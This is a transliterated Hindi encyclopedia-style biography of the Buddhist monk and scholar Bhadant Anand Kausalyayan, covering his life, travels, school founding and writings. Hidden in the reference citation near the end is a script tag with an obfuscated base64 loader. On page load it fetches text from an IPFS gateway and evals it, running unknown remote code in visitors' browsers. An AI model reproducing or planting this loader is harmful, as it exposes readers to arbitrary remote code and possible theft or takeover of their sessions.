भदन्त आनन्द कौसल्यायन
bhadant anand kausalyayan
| |
| poora nam | bhadant anand kausalyayan |
| any nam | harinam das |
| janm | 5 janavari, 1905 |
| janm bhoomi | ambala, panjab |
| mrityu | 22 joon, 1988 |
| abhibhavak | ramasaran das |
| karm bhoomi | bharat |
| mukhy rachanaean | 'jo bhool n saka', 'jo likhana p da', 'desh ki mitti bulati hai', 'manusmriti kyoan jalayi gee?', 'ram kahani ram ki jabani' adi. |
| bhasha | sanskrit, pali, aangrezi aur sianhali |
| puraskar-upadhi | 'vachaspati' ki upadhi |
| prasiddhi | bauddh vidvanh tatha samaj sudharak |
| nagarikata | bharatiy |
| sanbandhit lekh | bauddh dharm, bauddh darshan, gautam buddh |
| vishesh | 'bodhagaya' ka ek mahant chhote bachchoan se krishi ka kam liya karata tha. bachchoan ko mahant ke changul se nikalane ke lie bhadant ji ne vahaan par ek vidyalay ki sthapana ki. |
| any janakari | rahul saankrityayan ki prerana se bhadant anand ji bauddh dharm ki or akrisht hue the. unhean parivrajak ke vastr pahanane ko mile aur bauddh tirthoan ki yatra karane ki prerana bhi mili. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
bhadant anand kausalyayan (aangrezi: Bhadant Anand Kausalyan; janm- 5 janavari, 1905, ambala, panjab; mrityu- 22 joon, 1988) prasiddh bauddh bhikshu, lekhak tatha pali bhasha ke moordhany vidvanh the. ye poore jivan ghoom-ghoomakar rashtrabhasha hindi ka prachar-prasar karate rahe. bhadant anand kausalyayan bisavian shati mean bauddh dharm ke sarvashreshth kriyashil vyaktiyoan mean gine jate the. ye das varshoan tak 'rashtrabhasha prachar samiti', vardha ke pradhanamantri rahe. deshavasiyoan ki samata ke ye prabal samarthak the. inhoanne 21 varsh ki umr mean hi ghar ka tyag kar diya tha aur deshatan ke lie nikal p de the.
janm tatha shiksha
bhadant anand kausalyayan ka janm 5 janavari, 1905 ko avibhajit panjab ke ambala zile mean 'sohana' namak gaanv mean hua tha. ye khatri parivar se sambandhit the. inaka bachapan ka nam 'harinam das' tha. pita ramasaran das ambala ke hi ek haeeskool mean pradhanadhyapak pad par niyukt the. varsh 1920 mean harinam das ne dasavian ki pariksha uttirn ki. phir 1924 mean unnis varsh ki avastha mean snatak ki digri prapt ki. jab harinam das ji lahaur mean the, tab unhoanne urdoo bhasha ka adhyayan bhi kiya.
grih tyag
harinam das bachapan se hi svatantr vicharoan ke vyakti the. desh ki gulami unhean asahy thi aur samaj mean phaila bhedabhav ka bartav unako vichalit kar deta tha. ve deshavasiyoan ki samata ke samarthak the. inhian vicharoan ka parinam tha ki unake aandar vairagy ki bhavana panapane lagi thi aur 21 varsh ki umr mean ghar chho dakar ve deshatan ke lie nikal p de. desh bhraman mean ve anek sthanoan mean ge aur vahaan ke logoan ki jivan charcha aur sanskriti ka nikat se adhyayan kiya. isi kram mean unaka sanpark kaang da zile ki 'dumane' aur 'sarade' namak jatiyoan se hua. harinam das ne unamean phaili buraiyoan ko door karane ki cheshta ki aur kuchh samay tak unake bachchoan ki shiksha ka bhi prabandh kiya.[1]
rahul saankrityayan se bheant
is bich harinam das ki bheant ek sadhu se huee. is sadhu ka nam tha- 'ramodar das'. yahi 'ramodar das' bad mean rahul saankrityayan ke nam se vikhyat hue. rahul ji se milana harinam das ke jivan ki ek mahattvapoorn ghatana thi. rahul ji ki prerana se ve bauddh dharm ki or akrisht hue. unhean parivrajak ke vastr pahanane ko mile aur bauddh tirthoan ki yatra karane ki prerana bhi mili.
shodh v sahity srijan
bharat ke samast bauddh tirthoan ki yatra karane ke bad aur adhik jnan prapt karane ke lie harinam das varsh 1928 ee. mean shrilanka ge. vahaan 'tripitak' adi granthoan ka ganbhir adhyayan kiya. ab ve bhadant anand kausalyayan ke nam se pahachane jane lage the. unaka dhyan shodh aur sahity srijan ki aur bhi gaya. unhoanne sanskrit, pali, aangrezi aur sianhali bhashaoan mean pravinata prapt kar li thi.
vibhinn gatividhiyaan
- bhadant anand ji 1932 mean dharmadoot ban kar landan ge. bad mean unhoanne chin, japan, thaeelaiand adi deshoan ki yatra ki. sab jagah unaka vidvanoan se sanpark hua aur unhoanne bauddh dharm ki vibhinn pravrittiyoan ke sanbandh mean vicharoan ka adan-pradan kiya.
- unhoanne kuchh samay tak saranath mean rahakar 'mahabodhi sabha' ka kam bhi dekha aur 'dharmadoot' namak patr ka sanpadan bhi kiya.
- varsh 1956 mean nepal mean ayojit 'chaturth bauddh sammelan' mean bhi ve sammilit hue. vahian unaki bheant d aauktar bhimarav ambedakar se huee thi.[1]
vidyalay ki sthapana
bhadant anand kausalyayan nee pidhi ki shiksha par bahut bal dete the. 'bodhagaya' ka ek mahant chhote bachchoan se krishi ka kam liya karata tha. bachchoan ko mahant ke changul se nikalane ke lie unhoanne vahaan par ek vidyalay ki sthapana ki.
kritiyaan
bhadant anand ji ne hindi sahity ke sanvardhan ke lie bahut kam kiya. bauddh jatak kathaoan ko hindi mean upalabdh karane ka shrey unako hi hai. unaki kuchh any kritiyaan bhi prasiddh haian, jaise-
- 'jo bhool n saka'
- 'jo likhana p da'
- 'rel ka tikat'.
- 'darshan-ved se marks tak'
- 'desh ki mitti bulati hai'
- 'manusmriti kyoan jalayi gee?'
- 'ram kahani ram ki jabani'
- 'bhagavan buddh aur unake anuchar'
- 'bauddh dharm ka sar'
- 'bauddh dharm ek buddhivadi adhyayan'
samman
'darshan-ved se marks tak' mean unhoanne bharat ke sabhi darshanoan ka varnan kiya hai. unaki hindi sevaoan ke lie 'hindi sahity sammelan' ne unhean 'vachaspati' ki upadhi se sammanit kiya tha.[1]
nidhan
bhadant anand kausalyayan ji ka nidhan 22 joon, 1988 ee. ko hua.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |liank:- [563] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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